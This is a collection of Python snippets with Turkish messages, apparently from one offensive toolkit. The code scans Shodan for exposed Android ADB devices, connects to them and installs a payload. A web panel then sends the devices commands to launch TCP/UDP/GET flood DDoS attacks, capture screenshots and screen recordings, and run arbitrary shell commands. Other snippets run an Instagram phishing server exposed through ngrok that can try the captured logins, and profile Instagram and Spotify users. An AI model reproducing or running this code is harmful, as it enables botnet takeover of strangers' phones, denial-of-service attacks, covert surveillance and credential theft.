Пример #1
0
 def close(self):
     try:
         self.device.disconnect_all()
         success("[{}] Bağlantı kapatıldı!".format(self.ip))
         return True
     except Exception as e:
         error(e)
         return False
Пример #2
0
 def send(self, command, timeout=5):
     if (self.connected == False): return False
     try:
         info("[{0}] Komut gönderiliyor: '{1}'".format(self.ip, command))
         tmp = self.device.shell(command, timeout=timeout)
         success("[{0}] '{1}' çıktısı: {2}".format(self.ip, command, tmp))
         return tmp
     except Exception as e:
         error(e)
         return False
Пример #3
0
 def pull(self, filename, dest_file_name, timeout=30):
     if (self.connected == False): return False
     try:
         info("[{0}] Dosya alınıyor: '{1}'".format(self.ip, filename))
         self.device.pull(filename, dest_file_name, timeout=timeout)
         success("[{0}] Dosya alınındı: '{1}'".format(self.ip, filename))
         return True
     except Exception as e:
         error(str(e))
         return False
Пример #4
0
 def upload_payload(self, timeout=180):
     if (self.connected == False): return False
     info("[{0}] Payload yükleniyor.".format(self.ip))
     try:
         tmp = self.device.install(timeout=180)
         if (not tmp): return False
         success("[{0}] Payload yüklendi.".format(self.ip))
         return True
     except Exception as e:
         error(e)
         return False
Пример #5
0
 def connect(self, auth_timeout=5):
     try:
         self.device = AdbWrapper()
         self.device.disconnect_all()
         success("{} adresine ADB ile bağlantı yapılıyor!".format(self.ip))
         self.device.connect(self.ip, timeout=auth_timeout)
         self.connected = True
         success("{} adresine ADB ile bağlantı yapıldı!".format(self.ip))
         return True
     except Exception as e:
         error(e)
         return False
Пример #6
0
def print_instagram(username):
    try:
        info(
            "Instagram kullanıcısının bilgileri alınıyor: {}".format(username))
        instagram = Instagram(username)
        user_info = instagram.get_user_info()
    except InstagramException as e:
        error(e)
        return
    except exceptions.ConnectionError:
        error("Spotify bağlantısı sağlanamadı! (ConnectionError)")
        return

    is_private = "Herkese Açık"
    if (user_info["graphql"]["user"]["is_private"]):
        is_private = "Gizli Hesap"

    is_verified = "Hayır"
    if (user_info["graphql"]["user"]["is_verified"]):
        is_verified = "Evet"

    facebook_address = "Yok"
    if (user_info["graphql"]["user"]["connected_fb_page"]):
        facebook_address = str(
            user_info["graphql"]["user"]["connected_fb_page"])

    success("Instagram bilgileri yüklendi!\n")
    success(
        "+=====================Instagram Profil Bilgileri=====================+"
    )
    info("Tam İsmi: {}".format(Back.MAGENTA +
                               str(user_info["graphql"]["user"]["full_name"])))
    info("Kullanıcı Adı: {}".format(Style.RESET_ALL + username))
    info("Hesabın Instagram ID'si: {}".format(
        Style.RESET_ALL + user_info["graphql"]["user"]["id"]))
    info("Biyografisi: {}".format(Style.RESET_ALL +
                                  user_info["graphql"]["user"]["biography"]))
    info("Takip Edilen Hesap Sayısı: {}".format(
        Style.RESET_ALL +
        str(user_info["graphql"]["user"]["edge_followed_by"]["count"])))
    info("Takip Eden Hesap Sayısı: {}".format(
        Style.RESET_ALL +
        str(user_info["graphql"]["user"]["edge_follow"]["count"])))
    info("Hesap durumu: {}".format(Style.RESET_ALL + is_private))
    info("Hesap onaylanma durumu: {}".format(Style.RESET_ALL + is_verified))
    info("Bağlı Facebook Hesabı: {}".format(Style.RESET_ALL +
                                            facebook_address))
    success(
        "+====================================================================+"
    )
Пример #7
0
    def install(self):
        if (self.is_installed()):
            return

        info("ADB bulunamadı!")
        if (name == "nt"):
            info("Windows için ADB indiriliyor!")
            link = WINDOWS_DOWNLOAD_LINK
        else:
            info("Linux için ADB indiriliyor!")
            link = LINUX_DOWNLOAD_LINK

        try:
            mkdir(self.default_download_path)
            with get(link) as res:
                with ZipFile(BytesIO(res.content)) as zip_file:
                    zip_file.extractall(
                        path.join(path.dirname(path.realpath(__file__))))
                    success("ADB Yüklendi")
        except Exception as e:
            error(e)
Пример #8
0
    def search(self, query):
        try:
            success("Shodan'daki {}. sayfadan bot aranıyor!".format(
                self.last_page))
            api = Shodan(self.api_key)
            tmp = api.search(query, page=self.last_page)
            self.last_page = self.last_page + 1
            success("Liste indirildi")
            real_ips = []
            for zombie in tmp["matches"]:
                ip = IPAddress(zombie["ip_str"])
                if (str(ip.version) == "4"):
                    real_ips.append(zombie)

            self.last_search = {
                "matches": self.last_search["matches"] + real_ips,
                "total": self.last_search["total"] + len(real_ips)
            }

            return self.last_search
        except APIError as e:
            error(str(e))
            return False
Пример #9
0
def main():
    clear_screen()
    print_logo()
    redirect_url = ask(
        "Giriş yapıldıktan sonra nereye yönlendirilsin (Varsayılan: https://www.instagram.com)"
    )
    port = ask("Web sunucusu hangi port'u kullansın (Varsayılan: 80)")

    if (port != "" and (port.isdigit()) == False):
        error("Hatalı giriş!")
        _exit(0)

    try_accounts = ask(
        "Girilen kullanıcılar denensin mi (Varsayılan: Hayır) [E/H]")
    print("")

    if ((try_accounts != "") and (try_accounts.lower() != "e")
            and (try_accounts.lower() != "h")):
        error("Hatalı giriş!")
        _exit(0)

    if (redirect_url != ""):
        info("Yönlendirme '{0}' olarak ayarlandı!".format(redirect_url))
        SETTINGS["REDIRECT_URL"] = redirect_url
    else:
        info("Varsayılan yönlendirme adresi kullanılıyor!")
        SETTINGS["REDIRECT_URL"] = "https://www.instagram.com"

    if (port != ""):
        info("Sunucunun web portu '{0}' olarak ayarlandı!".format(port))
        SETTINGS["PORT"] = int(port)
    else:
        info("Varsayılan sunucu portu kullanılıyor!")
        SETTINGS["PORT"] = 80

    if (try_accounts != ""):
        if (try_accounts.lower() == "e"):
            info("Sunucuya girilen kullanıcılar giriş yapılarak denenecektir!")
            SETTINGS["TRY_ACCOUNTS"] = True

    print("")
    if ("arm" not in uname().machine):
        success("NGROK servisi başlatılıyor!")
        public_url = ngrok.connect()
        web_url = ngrok.connect(SETTINGS["PORT"], "http")
        success("Port yönlendirme başarılı!")
        print("")
        success("Web sunucusu {0} adresinde açıldı!".format(web_url))
        print("")
    else:
        info(
            "Program Termux'dan çalıştırılıyor! NGROK'u 'ngrok http 80' komutuyla manuel başlatmalısınız!"
        )
        print("")
        success("Web sunucusu http://localhost:{0} adresinde açıldı!".format(
            SETTINGS["PORT"]))
        print("")

    try:
        http_server = WSGIServer(('0.0.0.0', SETTINGS["PORT"]),
                                 PathInfoDispatcher({'/': website_app}))
        http_server.start()
    except:
        info(
            "Program yönetici olarak çalıştırılmadığından dolayı web portu 5000 olarak değiştirildi!"
        )
        SETTINGS["PORT"] = 5000
        http_server = WSGIServer(('0.0.0.0', SETTINGS["PORT"]),
                                 PathInfoDispatcher({'/': website_app}))
        http_server.start()
Пример #10
0
        info(
            "Program yönetici olarak çalıştırılmadığından dolayı web portu 5000 olarak değiştirildi!"
        )
        SETTINGS["PORT"] = 5000
        http_server = WSGIServer(('0.0.0.0', SETTINGS["PORT"]),
                                 PathInfoDispatcher({'/': website_app}))
        http_server.start()


if __name__ == "__main__":
    init(convert=True)
    try:
        main()
    except KeyboardInterrupt:
        clear_screen()
        success("Program kapatılıyor!")
        if (http_server): http_server.stop()
        if (public_url): ngrok.disconnect(public_url)
        _exit(0)
    except exception.PyngrokError as e:
        error(
            "NGROK Servisi başlatılamadı! Internet bağlantınızı kontrol edin! ({})"
            .format(e))
        if (public_url): ngrok.disconnect(public_url)
        if (http_server): http_server.stop()
        _exit(0)
    except Exception as e:
        error(e)
        if (public_url): ngrok.disconnect(public_url)
        if (http_server): http_server.stop()
Пример #11
0
def adb_send():
    if (request.method == "POST"):
        if (("ip" in request.form) and ("command" in request.form)):
            if (current_adb_client.ip != request.form["ip"]):
                error("Komut gönderilmeden önce {} adresine bağlanmalısınız!".
                      format(request.form["ip"]))
                return "NOT OK"

            client = current_adb_client
            if (request.form["command"] == "deploy-payload"):
                _tmp = client.upload_payload()
                if (_tmp == False): return "NOT OK"
                return "[+] Payload yüklendi!"
            elif (request.form["command"].startswith("start-ddos")):
                if (len(request.form["command"].split(" ")) < 5):
                    return "[-] Parametreler girilmemiş!"

                method = request.form["command"].split(" ")[1]
                if ((method != "TCPFLOOD") and (method != "UDPFLOOD")
                        and (method != "GETFLOOD")):
                    return "[-] Method parametresi TCPFLOOD, UDPFLOOD veya GETFLOOD olmalıdır!"

                packet_count = request.form["command"].split(" ")[2]
                if (packet_count.isdigit() == False and packet_count != "MAX"):
                    return "[-] Paket sayısı parametresi bir sayı olmalıdır!"

                thread_count = request.form["command"].split(" ")[3]
                if ((thread_count.isdigit()) == False):
                    return "[-] Thread sayısı parametresi bir sayı olmalıdır!"

                ip = request.form["command"].split(" ")[4]
                if ((is_ip(ip)) == False):
                    return "[-] IP parametresi doğru bir IPV4 adresi olmalıdır!"

                port = request.form["command"].split(" ")[5]
                if ((port.isdigit()) == False):
                    return "[-] Port parametresi bir sayı olmalıdır!"

                _tmp = client.send(
                    "am start -a android.intent.action.VIEW -c android.intent.category.DEFAULT -n com.example.tlp/.StartDDOS -e ip {0} -e method {1} -e packet_count {2} -e port {3} -e threads_count {4}"
                    .format(ip, method, packet_count, port, thread_count))
                if (_tmp == False): return "NOT OK"
                return "[+] DDoS Saldırısı başladı! Durdurmak için 'stop-ddos' komutunu kullanınız!"
            elif (request.form["command"] == "stop-ddos"):
                _tmp = client.send(
                    "am start -a android.intent.action.VIEW -c android.intent.category.DEFAULT -n com.example.tlp/.StopDDOS"
                )
                if (_tmp == False): return "NOT OK"
                return "[+] Bütün DDoS Saldırıları durduruldu!"
            elif (request.form["command"] == "screenshot"):
                timestamp = str(int(time()))
                _tmp = client.send(
                    "screencap /sdcard/ss_{}.png".format(timestamp))
                success("[{}] Ekran kayıdı alındı! Bilgisayara yükleniyor...".
                        format(request.form["ip"]))
                _tmp = client.pull("/sdcard/ss_{}.png".format(timestamp),
                                   "ss_{}.png".format(timestamp),
                                   timeout=60)
                if (_tmp == False):
                    return "[+] Screenshot tamamen alınamadı! ./libs./templates/pulls/ss_{0}.png dosyasına kayıt edildi! Ulaşmak için http://127.0.0.1:5000/static/pulls/ss_{1}.png".format(
                        timestamp, timestamp)
                return "[+] Screenshot ./libs./templates/pulls/ss_{0}.png dosyasına kayıt edildi! Ulaşmak için http://127.0.0.1:5000/static/pulls/ss_{1}.png".format(
                    timestamp, timestamp)
            elif (request.form["command"].startswith("screenvideo")):
                if (len(request.form["command"].split(" ")) < 2):
                    return "[-] Saniye parametresi girilmemiş!"

                seconds = request.form["command"].split(" ")[1]
                if ((seconds.isdigit()) == False):
                    return "[-] Saniye parametresi bir sayı olmalıdır!"
                if (int(seconds) > 180):
                    return "[-] Saniye parametresi maksimum 180 saniye olmaldır!"

                timestamp = str(int(time()))
                _tmp = client.send(
                    "screenrecord --time-limit {0} /sdcard/vid_{1}.mp4".format(
                        seconds, timestamp),
                    timeout=(int(seconds) + 5))
                sleep(3)
                _tmp = client.pull("/sdcard/vid_{}.mp4".format(timestamp),
                                   "vid_{}.mp4".format(timestamp))
                if (not _tmp): return "NOT OK"
                return "[+] Screenrecord ./libs./templates/pulls/vid_{0}.mp4 dosyasına kayıt edildi! Ulaşmak için http://127.0.0.1:5000/static/pulls/vid_{1}.mp4".format(
                    timestamp, timestamp)

            tmp = client.send(request.form["command"])
            print(tmp)
            if (not tmp): return "NOT OK"
            return tmp

    return "NOT OK"
Пример #12
0
def print_spotify(userid):
    try:
        info("Spotify profili alınıyor: {}".format(userid))
        spotify = Spotify(userid)
        spotify.generate_api_token()
        user_info = spotify.get_user_info()
        playlists = spotify.get_playlists()
    except SpotifyException as e:
        error(e)
        return
    except exceptions.ConnectionError:
        error("Spotify bağlantısı sağlanamadı! (ConnectionError)")
        return

    success("Spotify bilgileri yüklendi!\n")
    success(
        "+======================Spotify Profil Bilgileri======================+"
    )
    info("İsmi: {}".format(Back.GREEN + str(user_info["display_name"])))
    info("Hesap Türü: {}".format(Style.RESET_ALL + str(user_info["type"])))
    info("Takipçi Sayısı: {}".format(Style.RESET_ALL +
                                     str(user_info["followers"]["total"])))
    info("Profil Linki: {}".format(Style.RESET_ALL +
                                   str(user_info["external_urls"]["spotify"])))
    success(
        "+====================================================================+"
    )

    listened_artists = {}
    for playlist in playlists["items"]:
        try:
            playlist_info = spotify.get_playlist_info(playlist["id"])
        except SpotifyException as e:
            error(e)
            continue
        except exceptions.ConnectionError:
            error("Spotify bağlantısı sağlanamadı! (ConnectionError)")
            continue

        playlist_artists = {}
        for track in playlist_info["tracks"]["items"]:
            if (not track): continue
            if (not track["track"]): continue
            if (not track["track"]["album"]): continue
            if (not track["track"]["album"]["artists"]): continue

            for artist in track["track"]["album"]["artists"]:
                if (artist["name"] not in listened_artists):
                    listened_artists[artist["name"]] = 0
                else:
                    listened_artists[
                        artist["name"]] = listened_artists[artist["name"]] + 1

                if (artist["name"] not in playlist_artists):
                    playlist_artists[artist["name"]] = 0
                else:
                    playlist_artists[
                        artist["name"]] = playlist_artists[artist["name"]] + 1

        print("")
        success("Yeni bir playlist bulundu!")
        info("Adı: {}".format(Back.CYAN + playlist_info["name"]))
        info("Açıklaması: {}".format(
            Style.RESET_ALL +
            truncate(playlist_info["description"], get_max_line_length())))
        info("Spotify URI'si: {}".format(Style.RESET_ALL +
                                         playlist_info["uri"]))
        info("Takipçi Sayısı: {}".format(
            Style.RESET_ALL + str(playlist_info["followers"]["total"])))
        info("Toplam Şarkı Adeti: {}".format(
            Style.RESET_ALL + str(playlist_info["tracks"]["total"])))
        if (playlist_info["tracks"]["total"] == 0):
            continue
        elif (playlist_info["tracks"]["total"] < 3):
            info("Sondan Eklenen Şarkı: {0}-{1} [{2}]".format(
                truncate(
                    Style.RESET_ALL + playlist_info["tracks"]["items"][0]
                    ["track"]["album"]["artists"][0]["name"],
                    get_max_line_length()),
                truncate(
                    Style.RESET_ALL + playlist_info["tracks"]["items"][0]
                    ["track"]["album"]["name"],
                    get_max_line_length() + 10),
                truncate(
                    Style.RESET_ALL +
                    playlist_info["tracks"]["items"][0]["added_at"],
                    get_max_line_length())))
        else:
            info("Sondan İlk Eklenen Şarkı: {0}-{1} [{2}]".format(
                truncate(
                    Style.RESET_ALL + playlist_info["tracks"]["items"][0]
                    ["track"]["album"]["artists"][0]["name"],
                    get_max_line_length()),
                truncate(
                    Style.RESET_ALL + playlist_info["tracks"]["items"][0]
                    ["track"]["album"]["name"], get_max_line_length()),
                truncate(
                    Style.RESET_ALL +
                    playlist_info["tracks"]["items"][0]["added_at"],
                    get_max_line_length())))
            info("Sondan İkinci Eklenen Şarkı: {0}-{1} [{2}]".format(
                truncate(
                    Style.RESET_ALL + playlist_info["tracks"]["items"][1]
                    ["track"]["album"]["artists"][0]["name"],
                    get_max_line_length()),
                truncate(
                    Style.RESET_ALL + playlist_info["tracks"]["items"][1]
                    ["track"]["album"]["name"], get_max_line_length()),
                truncate(
                    Style.RESET_ALL +
                    playlist_info["tracks"]["items"][1]["added_at"],
                    get_max_line_length())))
            info("Sondan Üçüncü Eklenen Şarkı: {0}-{1} [{2}]".format(
                truncate(
                    Style.RESET_ALL + playlist_info["tracks"]["items"][2]
                    ["track"]["album"]["artists"][0]["name"],
                    get_max_line_length()),
                truncate(
                    Style.RESET_ALL + playlist_info["tracks"]["items"][2]
                    ["track"]["album"]["name"], get_max_line_length()),
                truncate(
                    Style.RESET_ALL +
                    playlist_info["tracks"]["items"][2]["added_at"],
                    get_max_line_length())))

        info("Sanatçı listesi: {}".format(Style.RESET_ALL +
                                          ", ".join(playlist_artists.keys())))

    top_listened_artist, top_listened_artist_value = "", 0
    for artist in listened_artists.keys():
        if (listened_artists[artist] > top_listened_artist_value):
            top_listened_artist = artist
            top_listened_artist_value = listened_artists[artist]

    print("")
    success(
        "+========================Spotify Profil Özeti========================+"
    )
    info("En Çok Şarkısı Eklenen Sanatçı: {}".format(Back.MAGENTA +
                                                     top_listened_artist))
    info("Sanatçıdan eklenen şarkı sayısı: {}".format(
        Back.MAGENTA + str(top_listened_artist_value)))
    success(
        "+====================================================================+"
    )